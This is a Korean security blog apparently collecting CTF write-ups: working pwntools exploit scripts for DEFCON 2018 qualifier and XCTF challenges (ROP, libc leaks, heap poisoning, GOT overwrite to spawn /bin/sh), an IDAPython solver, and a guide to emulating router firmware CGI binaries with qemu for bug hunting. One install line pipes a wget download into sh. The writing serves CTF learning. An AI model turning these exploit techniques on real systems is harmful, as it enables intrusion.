튜기's blogg(st1tch)

pwn문제풀 때, iterm에서 tmux 편하게 분할하기

St1tch — Sun, 26 May 2024 19:17:33 +0900

보통 리눅스 서버에 붙어서 tmux를 이용해서 split을 하고, 디버깅을 할 때가 많다.

요즘은 그냥 우분투에서 해서 별다른 귀찮음이 없었는데,

맥에서 우분투 붙어서하려니 복사랑 뭐 이것저것 좀 불편했다.

간단하게 얘기하면

맥에서 iterm을 통해 원격으로 서버에 접속한 뒤에,

tmux를 키거나 아니면 기존 세션에 attach할 때 -CC 옵션을 붙이는게 핵심이다.

tmux -CC
tmux -CC new-session -A -s woogie
tmux -CC attach-session -t woogie

대충 요런식으로 쓰면 된다.

위 화면이 맥에서 우분투서버 접속해서 tmux -CC 옵션으로 실행 후,

익스내부에서는 context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P'] 로 지정을 한 상태이다.

보다시피 tmux분할이 되는것이아니라,

iterm과 연동되어 화면분할로 생성되어, 복사나 스크롤이나 이런것들을 그냥 iterm 화면 분할했을때와 동일하게 사용할 수 있다.

iterm환경에서는 디버깅을 위해 복잡한 tmux세팅을 굳이 안해도 됨.

누군가에겐 아주 편한 환경이 될 듯.

끝.

출처

https://iterm2.com/documentation-tmux-integration.html

defcon2019 veryandroidoso

St1tch — Wed, 15 May 2019 12:48:17 +0900

apk문제인데, 처음 문제를 보자마자 후킹으로 풀면 편할 것 같다는 생각을 했다.

문제는 18글자의 플래그를 맞추면 끝나는 문제인데, 검사를 할 때는 2 글자씩 hex로 바꿔서 검증을 하기 때문에, 총 9번의 검증 루틴을 통과하면 플래그를 얻을 수 있다.

사실상 8번째 까지는 후킹으로 빠르게 값을 뽑아낼 수 있다.

마지막 한글자가 8번째까지의 입력한 값들에 따라 바뀌기 때문에, 이에 대한 처리만 잘해주면 된다.

우선, 필요한 함수들은 frida에서 바로바로 호출해서 쓸 수 있으니, 필요한 데이터들을 먼저 골라냈다.

1. 입력값에 대한 dictionary 정보 및 getSecretNumber 정보 추출.

- 각 조건에 맞는 글자들의 경우의수가 1가지가 아니기 때문에, 쉽게 풀기 위해서는 입력값과 검증 함수에 들어가는 값의 사전 정보가 필요하다.

- 브루트포싱시 getSecretNumer를 계속 호출하면, 속도가 느려지기 때문에, 어차피 고정된 값이니 미리 추출해서 사용하면 빠르다.

2. flag의 8번째 글자까지의 모든 경우 알아내기.

- 후킹을 fail함수에 걸고, 각 스테이지의 함수들을 호출하였다.

- 각 스테이지에서 만족하는 값들을 모두 출력을 하였고, 다음 단계에서 이를 이용해 마지막 한 바이트를 찾아야 한다.

3. 브루트 포싱 ~

- 3,4,5,6번째 글자의 경우의 수가 각각 2,2,16,64 이므로 총 4096의 경우의 수가 있다.

4096번에 각각의 경우에 수에 맞는 마지막 바이트를 찾고, 완성된 값이 마지막 검증에서 통과하는지를 알아내야 한다.

solve함수를 호출하여 하나하나 확인을 하면 너무 오래걸린다. 뭐 sleep함수에 후킹을 걸어 시간을 줄일 수는 있다.

나는 마지막 검증에 사용하는 m8, m9함수를 바로 호출해서 빠르게 플래그를 얻을 수 있었다..

이 문제는 후킹없이도 충분히 풀 수 있는 문제이지만, 분석을 조금 덜 하고 그냥 필요한 값들이나 함수를 후킹을 통해 얻은 후, 필요한 부분만 구현하여 플래그를 얻을 수 있는 그런 문제였다.

(아래는 후킹없이 구현해서 푼 코드. ㅇㅅㅇ)

35C3 0pack (idapython)

St1tch — Wed, 9 Jan 2019 12:40:05 +0900

이 문제는 가장 쉬운문제이기도 하고 실제로 많이 풀리기도 했다.

다양한 문제풀이 방법이 있지만, 그냥 idapython을 이용해 풀어보았다.

[ https://www.hex-rays.com/products/ida/support/idapython_docs/ ]

[메인함수 부분]

해당 바이너리는 문제이름답게 packing이 되어있는 상태이다. 따라서 ida에서 동적디버깅을 통해 unpack된 상태에서 idapython을 이용해 간단하게 풀 수 있다.

[한글자씩 비교하는 루틴]

한글자씩 비교하는 루틴이 15번 반복되고, 특정 주소 + offset에 있는 글자와 비교하는 방식이다.

[unpack된 시점에서의 memory map]

특정 주소는 메모리맵을 보았을 때, offset 0번째를 기준으로 한다.

unpack과정에서 해당 영역에 실행가능한 코드들을 write하고 execute하는 전형적인 방식인 것 같다.

[ida에서 해당 python script 실행결과]

따라서 어셈에서 오프셋부분만 들고와서 해당하는 글자들을 가져오면 된다.


# env : IDA PRO 7.1
start = MinEA()
end = get_next_module(SegStart(MinEA()))

curr = start
out = []
while(curr <= end):
    disasm = idc.GetDisasm(curr)
    if ('add' in disasm) and ('rax' in disasm):
        oper0 = idc.get_operand_value(curr, 0)
        if oper0 == 0:  # rax
            oper1 = idc.get_operand_value(curr, 1)
            out.append(Byte(start+oper1))
            add_bpt(curr)
            print hex(curr), idc.GetDisasm(curr)
    curr = idc.NextHead(curr, end)

print ''.join(map(chr, out))

# delete breakpoint
start = MinEA()
end = get_next_module(SegStart(MinEA()))

curr = start
while(curr <= end):
    if ida_dbg.check_bpt(curr) != -1:
        print hex(curr)
        del_bpt(curr)
    curr = idc.NextHead(curr, end)

qemu환경세팅이나 공유기 루트쉘 없이 디버깅하는방법

St1tch — Mon, 3 Dec 2018 19:43:59 +0900

iptime기준 qemu-user-static을 이용하여, qemu환경세팅이나 공유기 루트쉘 없이 디버깅하는방법

이 글을 쓰게 된 이유는 예전에 iot장비 펌웨어 분석팁 글을 쓰고 틈틈이 추가하고 있는데~~(사실 거의 추가안함)~~, 그 내용중에 qemu-static binary로 분석하는 방법에 대해 어떤 분이 질문을 주셔서 쓰게됬다.

주변친구들이 쓰는걸 몇 번 봐서 알려져있는 방법인 줄 알았는데, 그렇게 많이 알려지지는 않은것같다.

그래서 이러한 방법이 있구나라는걸 공유해보고자 짬나는 시간에 글을 쓴다.

준비할 것

우선 분석할 펌웨어에서 파일시스템을 추출한다. (FMK나 binwalk를 이용하는방법 등등)

나는 iptime 홈페이지에 들어가서 집에서 사용하고 있는 펌웨어를 받았다.(a8004nm_kr_10_086)

또한, 해당 파일시스템에 맞는 qemu-static바이너리를 추출한 파일시스템의 적절한 곳에 복사한다.

> qemu-user-static 설치 : sudo apt-get install qemu-user-static

복사를하는 이유는 바이너리 실행 시 파일시스템의 /위치에서 chroot를 걸기 때문에, 바이너리를 실행하는 시점에서는 추출된 파일시스템을 / 로 인식하기 때문이다.

따라서 미리 qemu-static바이너리를 옮겨놔야한다.

> qemu-static바이너리 확인 : ls /usr/bin/qemu-* | grep static

qemu-user-static을 사용해서 펌웨어 fs 내의 바이너리 실행

일반적으로 우리가 qemu-user-static바이너리를 사용하는 경우는, 그냥 다른 아키텍쳐에서 컴파일된 바이너리를 실행하고 디버깅하고 싶을 때 귀찮아서 사용하는 경우가 대다수일 것이다.~~(나만 그런거일수도...)~~

일반적인 경우는 그냥 실행시켜도 아무에러없이 실행이 되지만, 펌웨어내의 파일시스템에 있는 바이너리를 실행 시키고 싶을 때는 조금의 트릭?이 필요하다.

우선 실행을 하기 전에, 바이너리에 대한 리버싱은 당연히 해야하고, 실행시키고 싶은, 분기하고 싶은 루틴에 대해 정확히 파악해야한다.

물론 아래에 설명할 debugging방법으로 하나하나 따라가면서 찾을수도 있다.

어쨋든, 분석이 필요한 루틴으로 가기 위한 인자 및 method방식 등은 정확히 파악해야한다.

(예를 들면, iptime에서 A라는 기능을 쓰기위해서는 timepro.cgi에 get방식으로 1의값에 A를 넣어야하고, 그 기능안에서 사용하는 인자들은 2,3,4가 있는데 여기서 bof가 터지는지 알고싶다. 여기서 2의 값에는 숫자가들어가고, 3의 값에는 mac주소, 4의 값에는 text가 들어가야한다.) 정도의 파악은 필요하다.

간단한 예를 통해서 설명하고 넘어가겠다.

내가 iptime 관리자메뉴를 돌아다니다가 guest 전용 wifi기능이 있는걸 보았고, 여기 ssid에서 bof가 터지는지 등을 알고 싶다.

날아가는 패킷을 보고 어떤 인자등이 필요한지 확인하고, ida로 해당 문자열을 기반으로 추적해서 분석을 해본다.

으으음~ 이쪽에서 분기를 하는구먼 ~ 안에 들어가서 한번보자

패킷의 body에서 보였던 인자들이 여기서 요리되는구먼~ 이제 실행을 시키면서 분석을 해볼까?

이렇게 분석을 하다가 실제로 실행을 해보고 디버깅이 필요한 시점이 있을것이다.

위 과정에서 보았던 루틴을 qemu-arm-static을 사용하여 실행시켜보고, 디버깅 해보겠다.

(생각보다 인자들이 많아서 루틴의 초반부분까지만 실행시켜보았다.)

sudo chroot . ./qemu-arm-static -E REQUEST_METHOD="post" cgibin/timepro.cgi tmenu=iframe smenu=hiddenwlsetup wlmode=0 action=test12345

위의 명령어를 보면 대략적으로 감이 올 것이다.

복잡한게 없다. 간단히 설명을 하자면 추출한 fs을 /라고 인식시킨 상태에서, qemu-static를 이용하여 실행을 하게 되면, 해당 바이너리가 실행되면서 필요한 라이브러리 들을 추출한 fs의 lib등에서 참조하게된다. 따라서, 단독으로 실행시킬 때 발생하는 에러들은 발생하지 않는다.

또한, 뒤의 옵션을 보면 알 수 있듯이 method방식, 인자들을 주면 친절하게 인풋을 넣을 수 있다. ㄷㄷ

다만, 위 명령어의 실행위치는 추출한 파일시스템의 / 위치여야한다.(위의 명령어 기준)

위에도 말했다시피 내 fs이 아닌, 펌웨어의 fs을 chroot를 통해 /로 인식시켜야 하기 때문이다.

debugging 방법

위의 옵션에서 -g port옵션을 더해 ida나 gdb에 붙여서 디버깅을 할 수도 있다.

sudo chroot . ./qemu-arm-static -g 9989 -E REQUEST_METHOD="post" cgibin/timepro.cgi tmenu=iframe smenu=hiddenwlsetup wlmode=0 action=test12345

gdb에 붙일때는 gdb-multiarch 를 설치해야한다. 개인적으로는 예전부터 mips나 arm계열을 gdb로 분석할때는, pwn문제에서 자주쓰는 peda나 pwndbg보다는 gef가 더 편하고 좋은것같다. 여담이지만 gef git에 들어가면 feature설명에 peda, pwndbg랑은 달리 여긴 뭐가 잘되있다 이런 설명이 있다ㅋㅋㅋ 자신감있는듯~~(귀엽다)~~

> gef 한줄설치 : wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh

ida로 attach시킬 경우. 일반적으로 gdbserver로 붙이는 것과 같다.

IDA에서 remote gdb debugger 선택하고, ip, port입력해서 디버깅하면 된다.

잘 붙는걸 확인할 수 있다. gdb에 비해 hexray를 쓰면서 분석할 수 있는점은 큰 장점이다.

gdb-multiarch경우, ida와 비슷하다. 다만 디버깅전에 3가지 정도 설정만 하면 된다.

set arch mips(arm .. )

set endian little(big)

target remote localhost:9989

이후에는 gdb와 동일하게 디버깅하면된다.

잘 붙어서 입력한값에 대한 디버깅도 잘 되는것을 확인할 수 있다.

유의사항?

다만, 구현되어있는 환경에 따라 모든 기능이 실제와 같게 동작하지 않을 수도 있다. 실제로 위처럼 실행했을 때, 실행이 안되는 펌웨어들도 많으며, 까다로운 설정을 해줘야 실행이 되는 것들도 있다. 이러한 것들은 사용하는 사람이 분석을 하면서 상황에 맞게 고쳐서 사용하면 될 것이다.

2018 H3X0R CTF 후기

St1tch — Thu, 14 Jun 2018 02:56:06 +0900

회사일때문에 바빠서 최근에 CTF를 거의 보지 못했는데, 마침 선거일에 대회가 있어서 참가했다.

점심에 일어나서 투표하고 시작했는데 오랜만에 해서 재밌었다.... 풀 수 있는게 몇개 있어서 재밌었는지 모르겠지만..ㅋㅋㅋ

마지막에 퍼넙문제 서버가 내려가서 좀 당황했지만 운영측에서 잘 처리해주셨다.

오랜만에 CTF를 해서 그냥저냥 재밌는 하루였다.

화햇이랑 SCTF도 준비해야하는데 담주부터 출장이라 갱장히 짜증난다. 에휴.....

#NUCLEARLAUNCHDETECTED

2018 DEFCON_qual ddtek_preview

St1tch — Thu, 17 May 2018 12:43:45 +0900



from pwn import *
#import stitch

def logdebug() : exec( "context.log_level = 'debug'" )
def loginfo()  : exec( "context.log_level = 'info'" )
def logerror()  : exec( "context.log_level = 'error'" )
send = lambda *pays: [s.send(str(pay)) for pay in pays]
sendline = lambda *pays: [s.sendline(str(pay)) for pay in pays]
sendafter = lambda token, *pays: [s.sendafter(token, str(pay)) for pay in pays]
sendlineafter = lambda token, *pays: [s.sendlineafter(token, str(pay)) for pay in pays]
p64 = lambda *x : flat(*x, word_size=64)
p32 = lambda *x : flat(*x, word_size=32)
padd64 = p64(0xffffffffffffffff)
padd32 = p32(0xffffffff)
pause = lambda x='' : raw_input(log.info('Paused {}'.format(x)))
execmd = lambda cmd : subprocess.check_output(cmd, shell=True)

def pow_hash(challenge, solution):
    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()

def check_pow(challenge, n, solution):
    h = pow_hash(challenge, solution)
    return (int(h, 16) % (2**n)) == 0

def solve_pow(challenge, n):
    candidate = 0
    while True:
        if check_pow(challenge, n, candidate):
            return candidate
        candidate += 1


def solver() :
    sleep(0.5)
    s.sendline('HEAD /proc/self/maps\x00' + 'A'*0x42)
    s.recvuntil('preview:\n')
    tmp = s.recvline()
    if 'ld' in tmp:
        ld = int(tmp.split('-')[0], 16)
        s.recvline()
        s.recvline()
        s.recvline()
        code = int(s.recvline().split('-')[0], 16)
        s.recvline()
        bss = int(s.recvline().split('-')[0], 16)
    else:
        code = int(tmp.split('-')[0], 16)
        s.recvline()
        bss = int(s.recvline().split('-')[0], 16)
        ld = int(s.recvline().split('-')[0], 16)
    canary = (code >> 4) | (ld << 24)
    s.clean()
    log.info('code = {}'.format(hex(code)))
    log.info('canary = {}'.format(hex(canary)))
    
    pop_rdi = code + 0x10b3
    trigger = code + 0x1046
    puts_got = code + 0x202020
    puts_plt = code + 0x9e0

    pay = 'a'*0x58
    pay += p64(canary)
    pay += 'b'*8
    pay += p64(pop_rdi)
    pay += p64(puts_got)
    pay += p64(puts_plt)
    pay += p64(trigger)
    sleep(0.5)
    s.sendline(pay)
    
    s.recvuntil('request\n')
    libc.address = u64(s.recv(6).ljust(8, '\x00')) - libc.symbols['puts']
    if (libc.address < 0) or (hex(libc.address)[-3:] != '000'):
        raise
    log.info('libc_base = {}'.format(hex(libc.address)))
    binsh = list(libc.search('/bin/sh'))[0]
    
    pay = 'a'*0x58
    pay += p64(canary)
    pay += 'b'*8
    pay += p64(pop_rdi)
    pay += p64(binsh)
    pay += p64(libc.symbols['system'])
    s.sendline(pay)

    s.interactive()

if __name__ == '__main__' :
    prob = 'preview'
    if len(sys.argv) == 1:
        s = process(prob)
        pid = util.proc.pidof(s)[0]
        l_base = [s.libs()[d] for d in s.libs() if 'libc' in d][0]
        log.info('pid = {}'.format(pid))
        log.info('libc_base = {}'.format(hex(l_base)))
        libc = ELF([d for d in s.libs().keys() if 'libc' in d][0])
    else :
        s = remote('cee810fa.quals2018.oooverflow.io', 31337)
        libc = ELF('./libc-2.23.so')
        chal, _, n = s.recvuntil('Solution').split()[3:6]
        print chal, n
        res = solve_pow(chal, int(n))
        s.sendline(str(res))

    pause()
    solver()

2018 DEFCON_qual RaceWars

St1tch — Thu, 17 May 2018 12:43:38 +0900


from pwn import *
#import stitch

def logdebug() : exec( "context.log_level = 'debug'" )
def loginfo()  : exec( "context.log_level = 'info'" )
def logerror()  : exec( "context.log_level = 'error'" )
p64 = lambda *x : flat(*x, word_size=64)
p32 = lambda *x : flat(*x, word_size=32)
pad64 = 0xffffffffffffffff
pad32 = 0xffffffff
pause = lambda x='' : raw_input(log.info('Paused {}'.format(x)))
execmd = lambda cmd : subprocess.check_output(cmd, shell=True)
conv = lambda n : hex(n & int('f'*16, 16))

def pow_hash(challenge, solution):
    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()

def check_pow(challenge, n, solution):
    h = pow_hash(challenge, solution)
    return (int(h, 16) % (2**n)) == 0

def solve_pow(challenge, n): 
    candidate = 0 
    while True:
        if check_pow(challenge, n, candidate):
            return candidate
        candidate += 1

def snd(pay):
    s.sendline(str(pay))
    sleep(0.3)

def fuck(target):
    target = p64(target)
    target = [target[i:i+2] for i in range(0, len(target), 2)]
    
    for i, order in enumerate([0, 1, 3, 2]): 
        snd(1)
        snd(i+1)
        snd(int(target[order][::-1].encode('hex'), 16))

def fuck2():
    p = log.progress('start...')
    res = ''
    for idx in range(24, 24+8):
        snd(4)
        snd(idx)
        snd(0)
        snd(0)
        tmp = re.findall('is [0-9]{1,3}', s.recv())[0].split()[-1]
        res = hex(eval(tmp))[2:].rjust(2, '0')+ res
        p.status('1 '+res)

    gear = int(res, 16) - 16
    log.info(hex(gear))
    res = ''
    dist = elf.got['setvbuf'] - gear
    sleep(1)
    s.clean()
    for idx in range(dist, dist+8):
        snd(4)
        snd(idx)
        snd(0)
        snd(0)
        tmp = re.findall('is [0-9]{1,3}', s.recv())[0].split()[-1]
        res = hex(eval(tmp))[2:].rjust(2, '0')  + res
        p.status('2 '+res)

    libc.address = int(res, 16)-libc.symbols['setvbuf']
    log.info(hex(libc.address))

    target = p64(libc.address+oneshot)
    sleep(1)
    s.clean()

    dist = elf.got['exit'] - gear
    idx=0
    for offset in range(dist, dist+8):
        snd(4)
        snd(offset)
        snd(int(target[idx].encode('hex'), 16))
        snd(1)
        idx += 1
        p.status('3 '+str(idx)+' overwrite')

    p.success()

def solver() :
    #tire
    snd(1)
    snd((2<<31)>>5)
    #transmission
    snd(4)
    snd(1)
    #chassis
    snd(2)
    snd(1)
    #engine
    snd(3)

    #overwrite size
    fuck(int('f'*16, 16))
    s.clean()
    #libcleak
    fuck2()
    s.clean()

    snd(5)
    snd(1)
    snd(0)

    s.interactive()

if __name__ == '__main__' :
    prob = 'racewars'
    if len(sys.argv) == 1:
        s = process(prob)
        pid = util.proc.pidof(s)[0]
        p_base = [s.libs()[d] for d in s.libs() if prob in d][0]
        l_base = [s.libs()[d] for d in s.libs() if 'libc' in d][0]
        log.info('pid = {}'.format(pid))
        log.info('proc_base = {}'.format(hex(p_base)))
        log.info('libc_base = {}'.format(hex(l_base)))
        libc = ELF(s.libs().keys()[0])
        oneshot = 0x4f322
        debug=False
        if debug:
            context.terminal = ['tmux', 'splitw', '-h']
            execute = '''
            b *{}
            c
            '''.format(p_base)
            gdb.attach(pid, execute)
        else:   #source gd
            open('gd', 'w').write('''
            d
            d display
            b*0x4015C4
            attach {}
            c
            '''.format(pid))

    else :
        s = remote("2f76febe.quals2018.oooverflow.io", 31337)
        libc = ELF('libc-2.23.so')
        oneshot = 0xf02a4

	chal, _, n = s.recvuntil('Solution').split()[3:6]
	print chal, n
	res = solve_pow(chal, int(n))
	s.sendline(str(res))

    elf = ELF(prob)
    pause()
    solver()

2018 DEFCON_qual babypwn1805

St1tch — Tue, 15 May 2018 13:06:04 +0900

흠..

이게 baby인지 잘 모르겠지만, 푸는데 시간이 좀 걸렸다

2018 Xctf d

St1tch — Fri, 20 Apr 2018 14:22:40 +0900

흠

익스를 했긴한데 왜캐 코드가 더럽지 에혀

오랜만에 해서 너무 의식의 흐름대로 푼거같다


from pwn import *

context.log_level = 'debug'
context.log_level = 'info'

sl = lambda *pays: [s.sendlineafter(':', str(pay)) for pay in pays]
sf = lambda *pays: [s.sendafter(':', str(pay)) for pay in pays]
read = lambda idx, dat : sl('1', idx, dat)
edit = lambda idx, dat : sl('2', idx, dat)
wipe = lambda idx : sl('3', idx)
p64 = lambda *x : flat(*x, word_size=64)
p32 = lambda *x : flat(*x, word_size=32)
padd = 0xffffffffffffffff

def solver() :
    def poison_null_byte():
        pay = b64e('a'*0x88)[:-2]
        read(0, pay)
        
        pay = b64e('b'*0x200)[:-2]
        read(1, pay)
        
        pay = b64e('c'*0x88)[:-2]
        read(2, pay)
        
        #set fake prev_size
        pay = 'b' * 0x1f0 + p64(0x200)
        edit(1, pay)
        wipe(1)
        
        #poison null byte
        pay = 'a'*0x88
        edit(0, pay)
        edit(0, pay[:0x80]+p64(0)[:7])
        
        #malloc*2 into unsorted bin
        pay = b64e('d'*0x88)[:-2]
        read(3, pay)
        
        pay = b64e('e'*0x88)[:-2]
        read(4, pay)
        
        wipe(3)
        wipe(2)
    
    def fastbin_dup(): 
        #duplicated chunk
        pay = b64e('f'*0x288)[:-2]
        read(5, pay)
        
        #make fake fastbin chunk
        pay = p64(
                [padd]*2*8,
                padd, 0x71,
                [padd]*2*6,
                padd, 0x70
                )
        edit(5, pay)
        wipe(5)
        wipe(4)
        
        pay = b64e(cyclic(0x288))[:-2]
        read(6, pay)
        
        #fake fd
        pay = cyclic(16*8)
        pay += p64(0)+p64(0x71)
        pay += p64(0x60216d)    #fake address
        edit(6, pay)
        
        #fake address into fastbins
        pay = b64e('h'*0x60)
        read(7, pay)
    
    def overwrite_heaparr():
        #allocate to heapaddr_array
        pay = b64e('aaa'+'x'*0x57)
        read(11, pay)
    
        #overwrite got address(bss)
        pay = 'aaa'
        pay += p64(
                elf.got['free'],    #0 
                elf.got['atoi'],    #1
                elf.got['atoi'],    #2
                0x602010,           #3
                0x602008,           #4
                0x602078            #5
                )
        edit(11, pay)

    def make_fake_chunk():
        #make fake fastbin chunk in bss
        edit(4, p64(0x71)[:-2])
        edit(5, p64(0x71)[:-2])
        wipe(3)
    
    def leak():
        #overwrite free@got to puts@plt 
        edit(0, p64(elf.plt['puts']))

        wipe(1)
        leak = u64(s.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
        libc.address = leak - libc.symbols['atoi']
        log.info(hex(libc.address))
    
    def overwrite_got():
        #overwrite atoi@got to system
        pay = p64(
                padd, libc.symbols['free'], 
                libc.symbols['puts'], libc.symbols['strlen'], 
                padd, libc.symbols['printf'], 
                padd, libc.symbols['read'], 
                padd, libc.symbols['malloc'], 
                padd, libc.symbols['system'],
                )
        read(12, b64e(pay))
    
    poison_null_byte()
    fastbin_dup()
    overwrite_heaparr()
    make_fake_chunk()
    leak()
    overwrite_got()

    s.sendline('/bin/sh;')
    s.interactive()
    

if __name__ == '__main__' :
    s = process('./prob')
    print util.proc.pidof(s)
    pause()
    elf = ELF('prob')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    solver()

2018 코드게이트 국제해킹방어대회 예선전 (writeup)

St1tch — Mon, 5 Feb 2018 10:56:57 +0900

2월 졸업이라서 대학부로는 마지막 대회였다.

BOB랑 입사때문에 바빠서 한동안 대회참가를 못해서 좀 걱정도 됐었다. ㄷㄷ

1-3위권을 계속 차지하다가 마지막에 뒷심이 좀 부족해서 5위 까지 밀려났지만, 어쨋든 본선진출이다.

팀원이랑 RSA, CPU 문제를 잡고있었는데 마무리를 못지어서 좀 아쉬웠다.

팀원수도 적고, 단기전에 좀 더 강하니까 ~~본선에서는 좀 더 좋은 결과가 있을 것 같다.~~ (좋은 결과는 없었다고 한다...)

write-up

Codegate2018_certis_Writeup.docx